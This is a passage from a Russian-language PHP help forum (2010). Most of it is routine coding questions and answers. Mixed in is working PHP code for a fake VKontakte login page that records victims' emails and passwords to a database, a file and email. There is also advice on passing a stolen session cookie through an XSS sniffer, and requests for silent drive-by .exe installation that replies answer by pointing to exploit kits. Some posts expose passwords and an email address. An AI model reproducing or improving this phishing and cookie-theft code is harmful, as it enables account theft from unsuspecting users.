SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `session` (
`N_STUDENTSBOOK` int(11) NOT NULL default '0',
`N_STUDY` int(11) NOT NULL default '0',
`MARK` int(11) default NULL,
PRIMARY KEY (`N_STUDENTSBOOK`,`N_STUDY`),
KEY `N_STUDY` (`N_STUDY`),
CONSTRAINT `session_ibfk_1` FOREIGN KEY (`N_STUDENTSBOOK`) REFERENCES `students` (`N_STUDENTSBOOK`),
CONSTRAINT `session_ibfk_2` FOREIGN KEY (`N_STUDY`) REFERENCES `studies` (`N_STUDY`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;

--
-- Dumping data for table `session`
--

LOCK TABLES `session` WRITE;
/*!40000 ALTER TABLE `session` DISABLE KEYS */;
/*!40000 ALTER TABLE `session` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `students`
--

DROP TABLE IF EXISTS `students`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `students` (
`N_STUDENTSBOOK` int(11) NOT NULL,
`LAST_NAME` char(15) default NULL,
`FIRST_NAME` char(10) default NULL,
`PATRONYMIC` char(15) default NULL,
`N_GROUP` int(11) default NULL,
`CELL` char(10) default NULL,
PRIMARY KEY (`N_STUDENTSBOOK`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;

--
-- Dumping data for table `students`
--

LOCK TABLES `students` WRITE;
/*!40000 ALTER TABLE `students` DISABLE KEYS */;
/*!40000 ALTER TABLE `students` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `studies`
--

DROP TABLE IF EXISTS `studies`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `studies` (
`N_STUDY` int(11) NOT NULL,
`STUDY` char(20) default NULL,
`TEACHER_LASTNAME` char(15) default NULL,
PRIMARY KEY (`N_STUDY`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;

--
-- Dumping data for table `studies`
--

LOCK TABLES `studies` WRITE;
/*!40000 ALTER TABLE `studies` DISABLE KEYS */;
/*!40000 ALTER TABLE `studies` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2010-04-28 11:02:05


В обоих случаях mysql_query(file_get_contents('dump.sql')) возвращает нулевое значение...


<?php
$dblocation = "localhost";
$dbname = "university";
$dbuser = "root";
$dbpasswd = "!qaz2wsx";

$dbcnx = @mysql_connect($dblocation, $dbuser, $dbpasswd);
if (!$dbcnx)
{
echo "<p>К сожалению, не доступен сервер mySQL</p>";
exit();
}

if (!@mysql_select_db($dbname,$dbcnx) )
{
echo "<p>К сожалению, не доступна база данных</p>";
exit();
}

$res = mysql_query(file_get_contents('1.sql'));

if(!$res)
{
echo "<p>Ошибка в запросе</p>";
exit();
}

?>


Срабатывает if(!$res)... Файл 1.sql лежит в той же папке что и php файл... Может я что-то не так делаю?

w_2k
28.04.2010, 15:49
StealthMaster, попробуй функцию file("1.sql"); авось прокатит

StealthMaster
28.04.2010, 16:21
$myquery = file_get_contents('dump.sql');
$myquery = str_replace("\r\n", ' ', $myquery);
$res = mysql_query($myquery);


Вот так работает, если в файле dump.sql содержится только 1 SQL-запрос. Это не интересно. Попробуем разобраться с mysqli_multi_query.

ubuntu
28.04.2010, 16:47
есть php скрипт 1.php с многочисленными переменными, нужно в другом php скрипте 2.php вывести 1 переменную с 1.php. как это реализовать? include и require не аомогают, ибо они все выводят :(

XPYMGT
28.04.2010, 17:22
есть php скрипт 1.php с многочисленными переменными, нужно в другом php скрипте 2.php вывести 1 переменную с 1.php. как это реализовать? include и require не аомогают, ибо они все выводят :(

подробнее о методах get, post, о сессиях и кукис можно узнать прочитав мануал, и вообще все переменные целесообразно выносить в один в файл

PenSpinner
29.04.2010, 13:51
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...
готов дать доллар тому, кто сделает :D :D :D :D :rolleyes:

Fepsis
29.04.2010, 14:13
готов дать доллар тому, кто сделает :D :D :D :D :rolleyes:
Если для тебя новый абзац это двойной перевод строки, то вот:
<?php
$fin = file_get_contents('in.txt');

$array = explode("\r\n\r\n", $fin);
sort($array);

$fout = fopen('out.txt', 'w+');
fwrite($fout, implode("\r\n\r\n", $array));
fclose($fout);
?>
исходный файл - in.txt, на выходе out.txt...

PenSpinner
29.04.2010, 14:53
10, 100, 90, 80, 70 "Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця
#

20, 100, 90, 80, 70 "Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих
#

вот. абзацы - это то, что между первой " и #, то есть

Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця

и

Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих

соответственно

Fepsis
29.04.2010, 15:16
PenSpinner, так..?!
<?php
$fin = file_get_contents('in.txt');

preg_match_all('# "(.*)\##Us', $fin, $result);
sort($result[1]);

$fout = fopen('out.txt', 'w+');
fwrite($fout, implode("\r\n\r\n", $result[1]));
fclose($fout);

?>

PenSpinner
29.04.2010, 15:21
дадада!!!!!

мего спасибо!

доллар будет завтра, кидай в личку номер вмз :):):):):):):):)

warlok
29.04.2010, 15:41
есть массив типа такого

$lol = array_merge ($name, $link, $time);

так вот нужно из него удалить возможные дубли из одинаковых вариантов из массивов $name и $time, т.е. например у нас в массиве $name обнаружилось 3 одинаковых записи, дальше по аналогичным индексам идет проверка в массиве $time и если например все 3 совпадают то удалить 2 и оставить 1 как уник запись или если 2 записей в $time совпадают то удалить 1 и 1 оставить как уник, по удаленным индексам массивах нужно удалить индексы с массива $link и на выходе получить массив без повторов. Я так понимаю здесь array_unique не катит... как вот это лучше реализовать с минимум головной боли ?

SHiNiGaMi
29.04.2010, 16:13
Делай через array_unique($arr), у меня все работает

warlok
29.04.2010, 16:14
Соедини все массивы и пропусти через array_unique($arr), где $arr - массив.
так не получиться, перечитай еще раз мой пост...

pitter
29.04.2010, 16:25
Кто нить подскажет скрипт для сайта чтобы когда я открывал сайт выскакивало окно типо загрузите файл и я мог спокойно нажать либо да либо нет и скачать файл

restart_05
29.04.2010, 18:20
Как можно вычислить расстояние в км между 2 IP адресами ?

SHiNiGaMi
29.04.2010, 18:59
Учитывая что сигнал от москвы до владивостока идет 0,03 сек... :)

SHiNiGaMi
29.04.2010, 19:02
Pitter Попробуй через if (confirm('закачать?')) then
{
...
}

phpdreamer
29.04.2010, 20:16
Кто нить подскажет скрипт для сайта чтобы когда я открывал сайт выскакивало окно типо загрузите файл и я мог спокойно нажать либо да либо нет и скачать файл
я так понял имеется ввиду Force Download
это делается с помощью header()
читай тут (http://www.ryboe.com/tutorials/php-headers-force-download) и тут (http://www.jonasjohn.de/snippets/php/headers.htm)

MotoR
29.04.2010, 20:28
Подскажите пожалуйста. я начал недавно изучать работу с сокетами и сейчас хочу написать скрипт, который производит авторизацию на сайте или на форуме. Просто чисто авторизация через скрипт. Но у меня траблы с POST запросом. Никак не могу разобраться в чем проблема, нет авторизуется. Если можно какие -нибудь рекомендации принципа написания подобных скриптов (что нужно учитывать, на что обращать внимание и куда копать) или пример для какой нибудь CMS или форума. Спасибо !

phpdreamer
29.04.2010, 20:41
MotoR, ставь на firefox расширение LiveHTTPheaders https://addons.mozilla.org/ru/firefox/addon/3829?src=similarcollections
или любой HTTP сниффер подрубай к браузеру...
И смотри какие переменные с какими значениями и куда передаются при авторизации на этом сайте, какие HTTP заголовки отправляются...
Потом подставляй эти данные в любой пример авторизации из гугла... проще некуда.
Почитай мануал по сокетам чтоб делать все сознательно...

MotoR
29.04.2010, 20:43
Хорошо, благодарю

pitter
29.04.2010, 21:03
я так понял имеется ввиду Force Download
это делается с помощью header()
читай тут (http://www.ryboe.com/tutorials/php-headers-force-download) и тут (http://www.jonasjohn.de/snippets/php/headers.htm)


Спс оч помогло, а как сделать чтобы окно не открывалось а файл ставился автоматм без запроса,заранее спс

phpdreamer
29.04.2010, 21:12
Спс оч помогло, а как сделать чтобы окно не открывалось а файл ставился автоматм без запроса,заранее спс
установить? всм. запустить программу без согласия пользователя?
узнай что такое "связка сплоитов"

НTL
30.04.2010, 18:01
Как в переменной оставить только A-Z, a-z, 0-9 ?

Gifts
30.04.2010, 19:46
НTL чтобы оставить:
$out = preg_replace('~[^A-Za-z0-9]*~','',$in);
Или чтобы только проверить
preg_match('~^[A-Za-z0-9]+$~',$in);

meloman113
30.04.2010, 22:05
Доброго времени суток. Помогите мне разобраться. Я сделал фейк Вконтакте и хочу сделать запрос на вилад пароля.

Я создал файл cfg.php

туда впихал код

<?
$mysqlsend=true;
$filesend=true;
$mailsend=true;
$sourcesel="file";

$dbhost = "localhost";
$dbuser = "root";
$dbpass = "35XP4XXL";
$db = "vk";

$repfile="report.txt";

$mail_mailto="@mail.ru";
$mail_subject="Вконтакте!!!!!!"

?>

а в файл log.php я сделал так

<?
require_once("config.php");
$email = mysql_escape_string($_POST['email']);
$pass = mysql_escape_string($_POST['pass']);
if($mysqlsend==true){
$qu="INSERT INTO `vk` ( `email` , `pass` ) VALUES ('$email','$pass')";
mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($db);
mysql_query ('SET NAMES CP1251');
mysql_query ('SET COLLATION_CONNECTION=CP1251_GENERAL_CI');
mysql_query($qu);
}
if($filesend==true){
$file = fopen ("$repfile","a+");
$str = "$email;$pass\r\n";
fputs ( $file, $str);
fclose ($file);
}
if($mailsend==true){
mail($mail_mailto, $mail_subject, '$email;$pass');
}
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru'></head></html>";
?>

А при вводе любых данных "верных" и "неверных" вылазит варнинги, хотя пароль и логин приходят, и после варнингов сразу перекидывает на страницу контакта(это норма) но зачем лишнее палево =)
помогите исправить =\

http://s16.radikal.ru/i190/1004/0f/452c7712837a.jpg

Или дайте готовый код что бы проверял на валид + отчет на мыло. Буду признателен

Deathdreams
30.04.2010, 22:11
meloman113
неверный пароль к мускулю

НTL
01.05.2010, 08:08
meloman113, пиши
@mysql_result()
Это подавляет ошибки, например когда результат ничего не дал...

SeNaP
01.05.2010, 10:15
function ass(){
$sql = mysql_query("SELECT * FROM `top_rekla` WHERE `fh` = '0' ORDER BY `id` DESC");
if(mysql_num_rows($sql) > 0){
while($rekla = mysql_fetch_assoc($sql)){
$ret = "<a href='".$rekla['url']."'>".$rekla['url_name']."</a><br/>";
return $ret;
}
}
}

echo ass();

Функция ass() возвращает только одну запись из БД.
Перечитал мануалы, ни чего не понял.
Как заставить функцию ass() вернуть все записи из БД?

mailbrush
01.05.2010, 10:21
После return код не выполняется. Делай конкатенацию или массив, а уже в конце функции возвращай результат.

pavl1k_fan@mail.ru
01.05.2010, 14:17
function ass(){
$sql = mysql_query("SELECT * FROM `top_rekla` WHERE `fh` = '0' ORDER BY `id` DESC");
if(mysql_num_rows($sql) > 0){
while($rekla = mysql_fetch_assoc($sql)){
$ret .= "<a href='".$rekla['url']."'>".$rekla['url_name']."</a><br/>";
}
}
return $ret;
}

echo ass();


Так попробуй..

vat4k
01.05.2010, 14:34
добрый день, я новичок не сочтите пожалуйста мой вопрос глупым. какой скрипт поможет слить траф с шелла в нужном мне направлении, и куда его непосредственно заливать на самом шеле

programming
01.05.2010, 18:32
Есть папка. В ней лежат изображения и ещё папки. В тех папках тоже лежат изображения и ещё папки и т.д. до любого уровня вложенности. Каким образом возможно получить массив с названиями абсолютно всех файлов-изображений в папке и во всех под-папках любого уровня вложенности, а также их расположение относительно самой первой папки?
Спасибо.

programming
01.05.2010, 20:44
Ещё вопрос.
Как возможно сделать файл txt пользователю для скачки, а не для отображения в браузере?

Player#1
01.05.2010, 20:50
ну примерно так:

$file = "file1.txt";
$size = filesize($file);
header('Content-type: text/txt');
header('Content-Length: '.$size);
header('Content-Disposition: attachment; filename='.$file);
readfile($file);

roker777
01.05.2010, 22:05
Слушайте, можно сделать такой скрипт что бы он заходил на один сайт, потом с этого сайта на другой?

Deathdreams
01.05.2010, 22:13
Слушайте, можно сделать такой скрипт что бы он заходил на один сайт, потом с этого сайта на другой?
редирект ?
если да, то сначала выдераем Location из заголовков и переходим.

roker777
01.05.2010, 22:18
не, оба сайта не мои.

Deathdreams
01.05.2010, 22:20
не, оба сайта не мои.
писать скрипт лень, расскажу.
получаем контент (вместе с заголовками) первого сайта
из заголовка выдераем:

preg_match( "#Location: ([^\r\n]+)#", $content, $location );

а потом переходим по $location[1];

roker777
01.05.2010, 22:20
или может легче такое сделать прогой.

dimm666
01.05.2010, 23:14
Всем доброго времени суток. Уважаемые гуру, подскажите, плз: есть в страничке код
<a href="#" onclick="pd_modalMessage.prototype.create('full_img_contain er_front', 500, 500, true, show_product_image).show();return false;">
При клике появляется картинка (большая) во всплывающем окне. Как средствами php вытащить ссылку на появляющуюся картику? В коде страницы никаких намёков на прямую ссылку нет. Firebug в FireFox показывает только GET запрос с прямой ссылкой. А вот как она формируется - в толк не возьму.
Заранее спасибо.

m0Hze
01.05.2010, 23:18
Всем доброго времени суток. Уважаемые гуру, подскажите, плз: есть в страничке код
<a href="#" onclick="pd_modalMessage.prototype.create('full_img_contain er_front', 500, 500, true, show_product_image).show();return false;">
При клике появляется картинка (большая) во всплывающем окне. Как средствами php вытащить ссылку на появляющуюся картику? В коде страницы никаких намёков на прямую ссылку нет. Firebug в FireFox показывает только GET запрос с прямой ссылкой. А вот как она формируется - в толк не возьму.
Заранее спасибо.
А формируется она с помощью JS. Копай туда, и парси.

Rew
03.05.2010, 00:02
помогите разобрать что делает этот код


if ( $enpages_count <= 10 )
{
$j = 1;

for ( ; do

{
$j <= $enpages_count; ++$j )
{
if ( $j != $ajax_start )
{
$pages .= "<a title=\"Страница: #".$j."\" onClick=\"s_page('".$value['title']."',".$j.",'".$category."')\">".$j."</a>";
}


Валиться во на этом месте


$j = 1;
for ( ; do
{
$j <= $enpages_count; ++$j )


Кажется что то с цыклом не так


Подскажите что нужно сделать?

Deathdreams
03.05.2010, 00:16
Rew не код, а какой-то мистический кусок дерьма

dimm666
03.05.2010, 00:19
Rew не код, а какой-то мистический кусок дерьма
Ну, вот и валится мистическим образом... :confused:

for ( ; - начать следует с этого - это просто, эммм..., просто что-то невообразимое...

Rew
03.05.2010, 00:47
Может так будет понятней Посмотреть код php (http://pastebin.com/7E2SEbWy)

Строка
960 $j <= $enpages_count; ++$j )
958 for ( ; do

dimm666
03.05.2010, 00:51
Знаю, как иногда бесит, но всё же - почитай http://wcode.ru/php/89/
958 for ( ; do - 100% ошибка в синтаксисе

dimm666
03.05.2010, 13:09
А в чём проблема-то?

dimm666
03.05.2010, 13:25
Подробнее опиши, плз, "как не работает" =)))) Что за ошибку вываливает?

Tesson
03.05.2010, 14:27
dimm666, уже сделал :)

crackmail
03.05.2010, 15:09
Есть хсс
Есть снифер
На снифер передаются куки , ссылка выглядит так:
_http://ССЫЛКО/sn.php?yandex_login=o95;%20yandexuid=5892375125079 1393;%20yabs-frequency=/2/wmcA02y68KThf00l1e43QwG0BmQ10Mka02y6WQBWf00l1c47JQ K0BmQ7//fG8l1XM00mA10O81WG610O410W40;%20yp=2145906000.gp.5 5_753559%3A37_609218%3A1%3A10;%20L=S3sTUXMIQUdxRlB ee3deB1h6Q2hYYVN5JUJfSQovfC5jBA8VBVdDLVEOF0lBOV0Ee WAfShADEVAqFy9bUn8ZGA==.1272878138.7201.293812.f4c a1e10f2e45600466e765012ad9a31;%20fuid01=4abdde7e07 0c5080.5iwiwpzkVN5Y4k362Ky704-x1I420_T3aqYfA6MbzZOgdvG_5Gsz79IN0YZvroSqVi1IuecsY R06d_2vK99HJfqP0bZ37bLyAjX7uOOJ1CELN6QBJfHVqdpb91m t5_ZS;%20aw=1_teJxSYGLAChixC2NVxzGHgeGdEgNDtRaxukY BMgBFASj8vJUgYQkDoPCEheim#ZXeu9/wMBuXZgM4uY2AIAAAD//wMAQGAStQAA#A#;%20Session_id=1272881349.0.0.305950 .2:7517235:310.8:1272878138970:1595452327:15.66384 .6361.fc22404dace6eb5e4d84be6e5a37b849

Снифер принимает эти все данные и ВНИМАНИЕ ЗАПИСЫВАЕТ ТОЛЬКО ЛИШЬ ВОТ ЭТО:

yandex_login=o95;%20yandexuid=58923751250791393;%2 0yabs-frequency=/2/wmcA02y68KThf00l1e43QwG0BmQ10Mka02y6WQBWf00l1c47JQ K0BmQ7//fG8l1XM00mA10O81WG610O410W40;%20yp=2145906000.gp.5 5_753559%3A37_609218%3A1%3A10;%20L=S3sTUXMIQUdxRlB ee3deB1h6Q2hYYVN5JUJfSQovfC5jBA8VBVdDLVEOF0lBOV0Ee WAfShADEVAqFy9bUn8ZGA==.1272878138.7201.293812.f4c a1e10f2e45600466e765012ad9a31;%20fuid01=4abdde7e07 0c5080.5iwiwpzkVN5Y4k362Ky704-x1I420_T3aqYfA6MbzZOgdvG_5Gsz79IN0YZvroSqVi1IuecsY R06d_2vK99HJfqP0bZ37bLyAjX7uOOJ1CELN6QBJfHVqdpb91m t5_ZS;%20aw=1_teJxSYGLAChixC2NVxzGHgeGdEgNDtRaxukY BMgBFASj8vJUgYQkDoPCEheim

Записывает все , ДО символа # , а самая главная то строчка Session ID , а она после решетки , и соответсвенно не передается на сниф
Как сделать так чтобы , ссесиод ид передался на сниф?

m0Hze
03.05.2010, 15:17
Есть хсс
Есть снифер
На снифер передаются куки , ссылка выглядит так:

Снифер принимает эти все данные и ВНИМАНИЕ ЗАПИСЫВАЕТ ТОЛЬКО ЛИШЬ ВОТ ЭТО:



Записывает все , ДО символа # , а самая главная то строчка Session ID , а она после решетки , и соответсвенно не передается на сниф
Как сделать так чтобы , ссесиод ид передался на сниф?
Мб решетку urlencode? Хотя хз, сам xss не люблю, и стараюсь не юзать ^_^

Hero1n
03.05.2010, 15:35
crackmail, да, нужно кодировать всю строку.
m0Hze, ой, какие мы гордые гуру, хсс мы не любим11

crackmail
03.05.2010, 15:40
что ты имеешь ввиду?как кодировать?

XSpectrum
03.05.2010, 16:22
Дарова всем. У меня есть вопрос а можно где нибудь найти учебники языков HTML , PHP?

DTW
03.05.2010, 17:12
все есть так полно сайтов где есть эл книги.

Гоогли...
Тут (http://forum.antichat.ru/threadnav8721-1-10.html)

XSpectrum
03.05.2010, 17:26
Спасибо

programming
03.05.2010, 18:50
Каким образом можно сделать файл на сервере, который можно было бы получить через file_get_contents(), но юзеру через браузер увидеть или скачать содержимое нельзя было бы?

z-kzn-z
03.05.2010, 18:54
programming, в .htaccess напиши
[code]<files "file.txt">
deny from all
</files>

geforse
03.05.2010, 18:59
Если перейти по ссылке ruseroticgirls.com/?sid=6738 (http://www.ruseroticgirls.com/?sid=6738), то в куках пишется:
ab_6738 = 4853



function post($url,$post,$refer,$ua)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, trim($ua));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.c');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.c');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}

post('http://www.ruseroticgirls.com/?sid=6738',null,'http://www.ruseroticgirls.com/','Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1');



В итоге в файле с куками только это:
www.ruseroticgirls.com FALSE / FALSE 0 PHPSESSID d0e61056671f3c4a09e86fbfd4e17d10

Почему в файл с куками не пишется ab_6738 ?

BlackBoy
03.05.2010, 19:37
есть вопрос:
у меня есть кнопка, при нажатии на эту кнопку должно переменной $zh делаться значение $zh+1 т.е.
$zh = $zh+1;
как осуществить эту затею?
именно, чтоб при нажатии на кнопку. У меня не поличается =( зарание спс

SHiNiGaMi
03.05.2010, 20:11
есть вопрос:
у меня есть кнопка, при нажатии на эту кнопку должно переменной $zh делаться значение $zh+1 т.е.
$zh = $zh+1;
как осуществить эту затею?
именно, чтоб при нажатии на кнопку. У меня не поличается =( зарание спс

<?php
if($_POST[var] == 1)
{
$zh++;
}
echo "<form action=index.php method=post>
<input type=hidden value=1 name=var>
<input type=submit value=button>
</form>";
?>а если хочешь чтобы изменения сохранялись при повторном запуске скрипта, то сохраняй в mysql.

SeNaP
03.05.2010, 20:56
Всем доброго времени суток.
Подскажите , как можно взять первых 3 числа из IP и найти такие же первых 3 числа в IP из БД, но в БД диапазоны IP хранятся в таком виде

1 - 1 - 1334135296 - 1334135807

1334135296 - 1334135807 - это есть диапазон

ппц, уже вопрос правильно с формулировать не могу :(

Gifts
03.05.2010, 21:43
SeNaP и на кой ляд вы храните диапазоны?

А так вам видимо нужно следующее:

$ip = '10.20.30.40';
echo ip2long($ip) & 0xFFFFFF00;

mytab0r
04.05.2010, 01:02
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?
P.S. Файл с расширением .exe

IGL
04.05.2010, 01:03
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?

насколько я знаю, никак

wildshaman
04.05.2010, 01:08
подскажите пл3,как можно намутить скрытое ска4ивание файла по переходу на сайт? в данный момент он спрашивает 3апустить или сохранить?по хорошему нужно 4тоб он 3апускал автоматом,ну или хотя бы сохронял,а потом отдельным кодом 3апускал... подскажите как это можно реали3овать?
P.S. Файл с расширением .exe
Нужен сплоент

KrafT
04.05.2010, 02:55
Как зделать setcookie чтоб выглкдело так.
Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT ??

mytab0r
04.05.2010, 03:25
Нужен сплоент
а где его в3ять?может кто кинет?

Kusto
04.05.2010, 03:33
Я бы сделал так)))
curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');

( Если я правильно понял что тебе надо передать куки и чтоб незаморачиваться с setcookie )

Rew
04.05.2010, 14:56
Ест ли отладчик дял .php файлов на вроде OLLYDBG.EXE
только для пхп что - бы можно было увидеть какая команда в php файле выполняется строчка за строчкой и что происходит с переменными.

$now
04.05.2010, 15:00
Rew
xdebug
zend-debugger

Первый нормально работает с netbans второй с Zend Studio

Богдан
04.05.2010, 22:37
Помогите пожалуйста с каптчей... Кто может объяснить принцып ее работы, а еще лучше дать простенький рабочий код, юзал разную литературу, гугл, но почему то на версии PHP 5.3.1 ниодин вариант у меня не хотел работать :(

Большой джо
04.05.2010, 22:42
Как зделать setcookie чтоб выглкдело так.
Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT ??

Думаю самое простое, выставить header
header("Set-Cookie: apiAccessKey=1lbN2A03Uqrd5Ldcy6fAuNDfIj4POKrPONQ; Domain=.der.ls; Expires=Mon, 17-May-2010 22:52:04 GMT")

Kusto
04.05.2010, 22:44
Помогите пожалуйста с каптчей... Кто может объяснить принцып ее работы, а еще лучше дать простенький рабочий код, юзал разную литературу, гугл, но почему то на версии PHP 5.3.1 ниодин вариант у меня не хотел работать :(
https://forum.antichat.ru/thread60049.html

Kusto
05.05.2010, 00:44
Помогите пожалуйста! Как сделать чтобы при входе на страницу, на машину гостя скачивался файл но без того чтобы он об етом догадывался ?
Раздел вообщето о помощи в программировании.))) Если ответить коротко- то с такой постановкой понимания вопроса без затрат довольно большой суммы денег- НИКАК, ну а для общего развития ты спросил не про что иное как сплойт и чем больше у него пробив- тем дороже он стоит....и в паблик они ооочень редко выходят да и то когда теряют свою актуальность)))

gDima
05.05.2010, 00:55
а если написать скрипт который скачивает файл с фтп?

.Varius
05.05.2010, 01:07
а если написать скрипт который скачивает файл с фтп?
На чьей стороне ты хочешь его использовать? Если сервера, то это невозможно. Если на стороне клиента, то каким образом ты хочешь его запустить?

gDima
05.05.2010, 09:02
На чьей стороне ты хочешь его использовать? Если сервера, то это невозможно. Если на стороне клиента, то каким образом ты хочешь его запустить?


На стороне клиента, я думал использовать вот этот <?php
$host = "ftp.narod.ru";
$connect = ftp_connect($host);
if(!$connect)
{
echo("Ошибка соединения");
exit;
}
else
{
echo("Соединение установлено");
}
$user = "dgdesigne";
$password = "123456";
$result = ftp_login($connect, $user, $password);
if(!$result)
{
echo("Не авторизовался");
exit;
}
else
{
echo("Авторизация успешна");
}
$local_file = "c:/log.txt";
$remote_file = "log.txt";
$getfile = ftp_get($connect, $local_file, $remote_file, ftp_ASCII);
if(!$getfile)
{
echo("Ошибка при загрузке");
exit;
}
else
{
echo("Загрузка завершина");
}
ftp_quit($connect);
?>

но не получается!

namak
05.05.2010, 14:37
<?php echo $row->win; ?>
здесь выводится число.
как мне это число проверить, т.е. больше нуля оно или нет?

superboy4
05.05.2010, 14:40
<?php
if ($row->win > 0) {
...}
elseif ($row->win < 0) {
...}
?>

namak
05.05.2010, 14:50
<?php
if ($row->win > 0) {
...}
elseif ($row->win < 0) {
...}
?>


спс)

hackmen
05.05.2010, 17:59
Ребята помогите плиз
Есть файл со строчками типа
<a href="http://www.site.com/aa/?[KEYWORD]">las vegas casino with online gaming</a>
<a href="http://www.site.com/aaa/?[KEYWORD]">las vegas casinos online</a>
<a href="http://www.site.com/aaa/?[KEYWORD]">las vegas holdem poker</a>
На выходе нужно получить
<a href="http://www.site.com/aa/?las-vegas-casino-with-online-gaming">las vegas casino with online gaming</a>
<a href="http://www.site.com/aaa/?las-vegas-casinos-online">las vegas casinos online</a>
<a href="http://www.site.com/aaa/?las-vegas-holdem-poker">las vegas holdem poker</a>

С меня ++++

Gifts
05.05.2010, 19:16
hackmen $f = file('file.txt');
foreach($f as $row)
{
echo str_replace('[KEYWORD]', str_replace(' ','-',trim(strip_tags($row))), $row);
}
Решение ровно по заданию

programming
05.05.2010, 19:20
Есть:
21.04.2010 16:49
Нужно получить:
2010.04.21 16:49

Спасибо.

Gifts
05.05.2010, 19:27
programming echo preg_replace('~(\d{2}).(\d{2}).(\d{4}) (\d{2}:\d{2})~', '\3.\2.\1 \4', '21.04.2010 16:49')

programming
05.05.2010, 20:47
programming echo preg_replace('~(\d{2}).(\d{2}).(\d{4}) (\d{2}:\d{2})~', '\3.\2.\1 \4', '21.04.2010 16:49')
Спасибо.



Каким образом можно вырвать капчу с http://www.tehpodergka.net/razdel-polzovatelja?action=add ?
Как я понимаю за неё отвечает яваскрипт:
var rndseed = new String(Math.random()); rndseed = rndseed.substring(2,11);
var hex = "0123456789abcdef";
var captchaSID = '';
for (var i = 0 ; i < 32; i++) {
var pos = Math.floor(Math.random() * 16);
captchaSID += hex.substr(pos, 1);
}
document.write ('<' + 'img src="http://www.tehpodergka.net//show_numimage.php?optionsSource=srv_twist_preventi on&module=members&sid=' + captchaSID + '&rs='+rndseed+'" alt="Код" title="Введите этот код в следующем поле, буквы регистронезависимы" /><' + 'input type="hidden" name="captchaSID" value="' + captchaSID + '" />');
eval("captcha_" + captchaSID + " = '';");
var intervalId = setInterval("setCaptchaMD5Hash('" + captchaSID + "')", 300);
eval("intervalId_" + captchaSID + " = intervalId;");

ZnikiR
06.05.2010, 02:11
как методами php удалить повторяющиеся строки в файле.
Если у Вас есть решения выложите плиз до завтра.
А нет то буду писать

Kusto
06.05.2010, 02:20
как методами php удалить повторяющиеся строки в файле.
Если у Вас есть решения выложите плиз до завтра.
А нет то буду писать

непроверял, написанн сейчас на коленке (возможно и ошибся но смысл такой)))

<?php

$text =file_get_contents('my.txt');

$result = array_unique($text);
foreach($result as $value)
{
echo "$value <br />";
}

?>


еще можеш в цикл добавить flush(); чтобы нескушно было наблюдать за экраном))

AtomoS
06.05.2010, 07:15
